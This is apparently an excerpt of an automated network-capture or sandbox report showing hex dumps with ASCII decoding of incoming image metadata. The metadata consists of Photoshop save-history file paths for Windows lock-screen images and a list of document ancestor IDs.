Data Ascii: SEN\MS-Rewards_Starbucks_GettyImages-506222216_1920x1080.jpg saved&#xA;2017-02-28T11:44-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MSrewards\Starbucks\CHOSEN\MS-Rewards_Starbucks_GettyImages-
613659454_1920x1080.jpg saved&#xA;2017-02-28T11:48:56-08:00&#
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2022-06-08 07:56:16 UTC 1670 IN Data Raw: 2d 30 33 2d 32 37 54 31 31 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 53 65 72 76 69 63 69 
6e 67 5c 43 48 4f 53 45 4e 5c 52 6f 75 6e 64 32 5c 57 69 6e 64 6f 77 73 53 65 72 76 69 63 69 6e 67 5f 35 30 30 70 78 2d 
31 30 30 30 36 39 35 35 39 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
30 33 2d 32 37 54 31 31 3a 34 34 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 53 65 72 76 69 63 69 6e 67 
5c 43 48 4f 53 45 4e 5c 52 6f 75 6e 64 32 5c 57 69 6e 64 6f 77 73 53 65 
Data Ascii: -03-27T11:43-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\Servicing\CHOSEN\Roun
d2\WindowsServicing_500px-100069559_1920x1080.psd saved&#xA;2017-03-27T11:44:39-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\Windows\Servicing\CHOSEN\Round2\WindowsSe

2022-06-08 07:56:16 UTC 1758 IN Data Raw: 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 4f 6e 
62 6f 61 72 64 69 6e 67 5c 4f 66 66 69 63 65 2d 42 32 2d 4f 6e 62 6f 61 72 64 69 6e 67 5f 35 30 30 70 78 2d 31 35 35 33 
30 35 39 31 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 
30 54 31 30 3a 30 32 3a 34 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 
43 48 4f 53 45 4e 2d 4f 6e 62 6f 61 72 64 69 6e 67 5c 4f 66 66 69 63 65 2d 42 32 2d 4f 6e 62 6f 61 72 64 69 6e 67 5f 70 
31 31 36 36 6d 31 31 35 30 34 30 32 5f 31 39 32 30 78 31 30 
Data Ascii: ows10\Office\Office-Batch2\_CHOSEN-Onboarding\Office-B2-Onboarding_500px-155305915_1920x1080.jpg 
saved&#xA;2017-04-20T10:02:49-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-
Onboarding\Office-B2-Onboarding_p1166m1150402_1920x10

2022-06-08 07:56:16 UTC 1790 IN Data Raw: 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 
68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 
35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 
2d 31 32 54 31 36 3a 30 38 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 6
1 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 7
9 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 39 32 30 
Data Ascii: dows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-175758763_1920x1080.psd 
saved&#xA;2017-05-12T16:08:26-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4
\Crops\OfficeGeneric_GettyImages-175758763_1920

2022-06-08 07:56:16 UTC 1869 IN Data Raw: 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 
61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 
52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 
30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 
65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 36 54 31 32 3a 34 39 3a 33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 6
1 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 
Data Ascii: x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_19
20x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-06-06T12:49:37-07:00&#x9;File C
:\Users\v-lizagh\MS\Windows10\MSrewards\Entertainment-Gen

2022-06-08 07:56:16 UTC 1948 IN Data Raw: 6f 73 65 6e 5c 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 36 36 
37 31 30 36 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 
33 54 31 38 3a 33 32 3a 35 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 
6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 70 
33 34 33 6d 31 30 39 33 35 31 39 66 5f 31 39 32 30 78 31 30 38 30 41 36 34 36 32 46 34 42 43 38 37 30 43 38 30 43 35 
36 38 34 44 45 38 44 44 33 36 35 32 36 42 33 2e 70 73 62 20 73 61 
Data Ascii: osen\Windows10-Tips_GettyImages-106671062_1920x1080.jpg saved&#xA;2017-07-13T18:32:55-07
:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Windows10-
Tips_p343m1093519f_1920x1080A6462F4BC870C80C5684DE8DD36526B3.psb sa

2022-06-08 07:56:16 UTC 1964 IN Data Raw: 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 
30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 
76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 33 33 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 
64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 
5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 
30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 
Data Ascii: cover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-
08-03T16:33:31-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lo
ckscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B

2022-06-08 07:56:16 UTC 2012 IN Data Raw: 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 
65 63 6f 76 65 72 5c 5f 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 30 
31 33 31 32 39 5f 31 39 32 30 78 31 30 38 30 37 32 34 35 42 31 45 45 32 42 30 45 45 38 34 31 31 42 36 41 43 31 42 34 
33 41 43 39 35 44 33 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 35 3a 34 37 
3a 33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 4d 6f 74 69 76 61 74 69 6f 6e 61 6c 2d 43 61 6d 70 61 69 67 6e 
5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 51 75 6f 74 65 44 61 
Data Ascii: g\Adobe\Adobe Photoshop CC 2017\AutoRecover\_QuoteDayHistory_GettyImages-466013129_1920x
10807245B1EE2B0EE8411B6AC1B43AC95D39.psb saved&#xA;2017-08-29T15:47:37-07:00&#x9;File C:\Users\v-liz
agh\MS\Windows10\Cortana\Motivational-Campaign\Chosen\Crops\QuoteDa

2022-06-08 07:56:16 UTC 2076 IN Data Raw: 70 73 5c 4d 49 54 2d 4d 65 6c 62 6f 75 72 6e 65 43 75 70 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 38 32 
35 37 34 32 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 
32 54 32 31 3a 33 34 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 45 6c 53 61 6c 76 61 64 6f 72 5c 43 48 4f 53 45 4e 
5c 43 72 6f 70 73 5c 4d 49 54 2d 4d 65 6c 62 6f 75 72 6e 65 43 75 70 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 39 32 
30 32 39 36 30 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 
31 32 54 32 31 3a 33 36 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 
Data Ascii: ps\MIT-MelbourneCup_GettyImages-598257421_1920x1080.jpg saved&#xA;2017-10-12T21:34:32-07
:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\ElSalvador\CHOSEN\Crops\MIT-MelbourneCup_shuttersto
ck_592029605_1920x1080.jpg saved&#xA;2017-10-12T21:36:48-07:00&#x9;
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2022-06-08 07:56:16 UTC 2124 IN Data Raw: 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 
57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 
53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 38 
33 30 31 34 31 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 
31 37 54 31 35 3a 35 35 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 
5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 72 6f 70 73 5c 
Data Ascii: 08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\_CHOSEN\Skype\Crops\Office-Sky
pe_GettyImages-168301416_1920x1080.jpg saved&#xA;2017-11-17T15:55:47-08:00&#x9;File C:\Users\v-lizag
h\MS\Windows10\Office\Spotlight_FY17\_CHOSEN\Skype\Crops\

2022-06-08 07:56:16 UTC 2171 IN Data Raw: 2d 34 38 30 36 34 31 30 37 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 32 37 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 
73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 7
4 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 39 5c 43 48 4f 53 45 4e 5c 52 65 70 6c 61 63 65 6d 
65 6e 74 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 4d 61 6e 67 72 6f 76 65 73 54 75 76 61 6c 75 53 50 61 63 69 66 69 63 
5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 30 31 32 39 35 30 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 
76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 32 
Data Ascii: -480641071_1920x1080.jpg saved&#xA;2017-12-04T13:27:08-08:00&#x9;File C:\Users\v-lizagh\MS\Windows
10\BingEdgeGrowthImages\Lock2017_Batch9\CHOSEN\Replacements\Lock2017-B9_MangrovesTuvaluSPacific_Gett
yImages-560129507_1920x1080.jpg saved&#xA;2017-12-04T13:2

2022-06-08 07:56:16 UTC 2235 IN Data Raw: 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 52 4f 55 4e 
44 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 47 65 74 74 79 49 6d 61 
67 65 73 2d 36 38 36 37 33 30 31 36 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 38 2d 30 31 2d 30 34 54 32 32 3a 30 34 3a 35 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 52 4f 
55 4e 44 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 47 65 74 74 79 49 
6d 61 67 65 73 2d 35 30 33 32 39 32 39 31 38 5f 31 39 32 30 78 
Data Ascii: lizagh\MS\Windows10\Windows\MMX\ROUND2\_CHOSEN\Crops\WindowsMMX-Rd2_GettyImages-
686730167_1920x1080.jpg saved&#xA;2018-01-04T22:04:59-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\
MMX\ROUND2\_CHOSEN\Crops\WindowsMMX-Rd2_GettyImages-503292918_1920x

2022-06-08 07:56:16 UTC 2299 IN Data Raw: 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 
38 2d 30 32 2d 30 38 54 31 33 3a 34 39 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 
4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 
30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 33 3a 35 31 3a 34 38 2d 30 38 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 7
3 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 
Data Ascii: 20x1080_Landscape.psd opened&#xA;2018-02-08T13:49:53-08:00&#x9;File C:\Users\v-lizagh\MS
\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.psd saved&#xA;2018-02-08T13:51:48-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\

2022-06-08 07:56:16 UTC 2386 IN Data Raw: 76 69 65 73 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 41 77 61 72 64 73 53 65 61 73 6f 
6e 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 38 38 31 37 37 33 36 5f 31 39 32 30 78 31 30 38 
30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 54 30 38 3a 34 31 3a 33 39 2d 30 38 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 
6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6
f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 4
4 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 
Data Ascii: vies-UK\CHOSEN\Crops\MIT-AwardsSeason-Movies_GettyImages-668817736_1920x1080.jpg saved&#
xA;2018-02-26T08:41:39-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 201
7\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EB

2022-06-08 07:56:16 UTC 2450 IN Data Raw: 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 37 3a 34 35 3a 32 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 
64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 
5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 
38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 38 2d 30 33 2d 32 31 54 31 38 3a 31 32 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 
73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 
Data Ascii: #xA;2018-03-21T17:45:21-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 
2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved
&#xA;2018-03-21T18:12:41-07:00&#x9;File C:\Users\v-lizagh\MS\Window

2022-06-08 07:56:16 UTC 2481 IN Data Raw: 72 64 66 3a 6c 69 3e 30 43 30 45 31 38 38 36 38 31 31 45 43 41 37 35 43 32 41 31 32 36 38 32 34 34 38 46 
38 42 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 31 43 37 33 35 33 43 41 30 37 41 34 44 38 34 
30 30 39 41 39 31 32 39 38 42 42 46 37 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 31 46 44 46 3
4 38 32 32 44 45 33 39 41 36 36 41 33 43 36 32 31 32 36 33 45 36 45 39 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 30 43 32 33 44 33 42 35 32 39 46 42 32 44 46 36 42 35 46 30 36 31 32 45 46 46 41 37 43 42 37 46 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 33 30 39 30 38 37 38 38 38 30 33 42 38 43 30 37 36 32 32 33 30 31 
33 32 31 43 35 44 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: rdf:li>0C0E1886811ECA75C2A12682448F8BCA</rdf:li> <rdf:li>0C1C7353CA07A4D84009A91298BBF78
8</rdf:li> <rdf:li>0C1FDF4822DE39A66A3C621263E6E95B</rdf:li> <rdf:li>0C23D3B529FB2DF6B5F0612EFFA7CB7
F</rdf:li> <rdf:li>0C30908788803B8C07622301321C5DC3</rdf:li> <rdf:l

2022-06-08 07:56:16 UTC 2569 IN Data Raw: 66 3a 6c 69 3e 31 32 33 36 46 31 45 32 31 43 35 38 34 46 39 38 46 31 33 38 39 38 43 39 30 30 37 36 44 31 
46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 34 36 38 36 43 37 42 46 46 45 36 39 46 44 46 37 33 
45 43 37 41 41 45 41 32 43 34 34 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 34 37 34 39 34 34 3
5 34 31 37 32 35 45 44 34 31 36 42 42 37 36 34 36 45 35 43 35 45 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 31 32 35 33 38 46 39 30 42 35 42 39 37 37 30 31 38 37 35 45 44 34 37 31 31 30 44 31 42 38 42 35 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 35 35 36 38 46 31 45 33 32 45 30 37 46 35 34 37 33 36 32 34 41 32 33 46 
42 41 32 42 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: f:li>1236F1E21C584F98F13898C90076D1F2</rdf:li> <rdf:li>124686C7BFFE69FDF73EC7AAEA2C4448<
/rdf:li> <rdf:li>12474944541725ED416BB7646E5C5EB1</rdf:li> <rdf:li>12538F90B5B97701875ED47110D1B8B5</rdf:li> 
<rdf:li>125568F1E32E07F5473624A23FBA2BB1</rdf:li> <rdf:li>
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2022-06-08 07:56:16 UTC 2640 IN Data Raw: 42 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 35 34 32 34 45 44 33 42 39 43 38 34 41 
46 33 30 37 43 35 45 38 42 38 36 43 31 43 30 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 36 30 
38 34 42 41 34 32 42 31 42 31 43 32 36 39 39 35 44 33 37 44 37 38 44 45 45 44 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 32 30 37 35 44 37 44 44 35 39 43 38 42 34 32 46 32 35 36 42 44 33 34 37 30 45 41 39 32 38 46 35 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 37 45 30 33 34 46 36 37 36 43 45 42 39 39 36 30 42 45 32 
31 32 42 42 43 31 30 44 43 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 38 36 31 30 44 38 35 32 
45 33 39 32 41 34 36 30 31 43 31 44 36 31 35 45 46 30 42 46 44 38 3c 2f 
Data Ascii: B21</rdf:li> <rdf:li>205424ED3B9C84AF307C5E8B86C1C0A1</rdf:li> <rdf:li>206084BA42B1B1C26
995D37D78DEED2F</rdf:li> <rdf:li>2075D7DD59C8B42F256BD3470EA928F5</rdf:li> <rdf:li>207E034F676CEB996
0BE212BBC10DCDF</rdf:li> <rdf:li>208610D852E392A4601C1D615EF0BFD8</

2022-06-08 07:56:16 UTC 2704 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 42 45 32 41 39 43 38 41 38 42 39 43 33 33 35 31 35 
39 32 34 46 35 31 32 31 38 36 35 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 43 35 45 34 38 33 
42 32 46 31 34 33 37 36 37 33 43 37 39 31 41 44 45 39 39 41 45 43 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 32 43 43 42 37 32 43 32 35 37 43 35 35 30 31 37 38 45 41 37 33 41 38 34 44 38 31 42 45 36 43 34 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 44 39 45 42 35 43 39 32 42 32 43 35 38 36 33 36 46 34 32 43 33 42 46 
43 45 37 35 43 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 44 46 31 33 36 33 35 45 38 33 46 32 
43 44 37 38 31 38 34 44 38 42 41 37 37 39 41 34 37 35 3c 2f 72 64 66 3a 6c 
Data Ascii: rdf:li> <rdf:li>2CBE2A9C8A8B9C33515924F51218658B</rdf:li> <rdf:li>2CC5E483B2F1437673C791
ADE99AEC49</rdf:li> <rdf:li>2CCB72C257C550178EA73A84D81BE6C4</rdf:li> <rdf:li>2CD9EB5C92B2C58636F42C
3BFCE75C10</rdf:li> <rdf:li>2CDF13635E83F2CD78184D8BA779A475</rdf:l

2022-06-08 07:56:16 UTC 2760 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 45 45 46 35 37 32 39 36 42 36 37 32 41 35 31 30 37 38 39 
36 45 46 34 30 43 36 44 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 32 46 44 35 46 33 32 30 30 
36 46 43 31 39 33 42 35 34 38 38 32 32 35 46 36 37 35 41 46 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 33 33 30 37 39 37 38 38 32 44 31 39 34 33 32 36 32 46 43 34 35 43 34 33 35 41 41 36 38 34 42 46 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 30 39 39 43 46 45 35 36 37 42 37 30 30 44 38 31 38 33 34 41 42 37 30 35 34 37 
38 35 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 30 41 32 39 37 34 33 36 34 42 36 34 32 32 31 
43 31 45 38 37 45 33 43 35 33 36 36 36 41 31 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: f:li> <rdf:li>32EEF57296B672A5107896EF40C6D414</rdf:li> <rdf:li>32FD5F32006FC193B5488225
